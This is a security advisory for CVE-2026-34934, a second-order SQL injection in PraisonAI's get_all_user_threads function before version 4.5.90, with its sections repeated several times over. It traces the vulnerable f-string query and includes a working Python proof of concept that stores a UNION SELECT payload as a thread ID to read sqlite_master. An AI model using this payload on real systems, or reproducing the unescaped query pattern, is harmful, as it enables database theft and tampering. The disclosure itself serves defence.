CVE-2026-34934

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

• Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)

• Hop (Line 547):

thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"

• Sink (Line 576):

WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)

import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

• Exfiltration of sensitive data (user emails, session tokens, API keys)
• Access to all conversation histories
• Ability to modify or delete database contents

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

• Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)

• Hop (Line 547):

thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"

• Sink (Line 576):

WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)

import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

• Exfiltration of sensitive data (user emails, session tokens, API keys)
• Access to all conversation histories
• Ability to modify or delete database contents

Summary

The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.

Details

File Path:
src/praisonai/praisonai/ui/sql_alchemy.py

Flow:

• Source (Line 539):

await data_layer.update_thread(thread_id=payload, user_id=user)

• Hop (Line 547):

thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"

• Sink (Line 576):

WHERE s."threadId" IN {thread_ids}

Proof of Concept (PoC)

import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console

Impact

An attacker can achieve full database compromise, including:

• Exfiltration of sensitive data (user emails, session tokens, API keys)
• Access to all conversation histories
• Ability to modify or delete database contents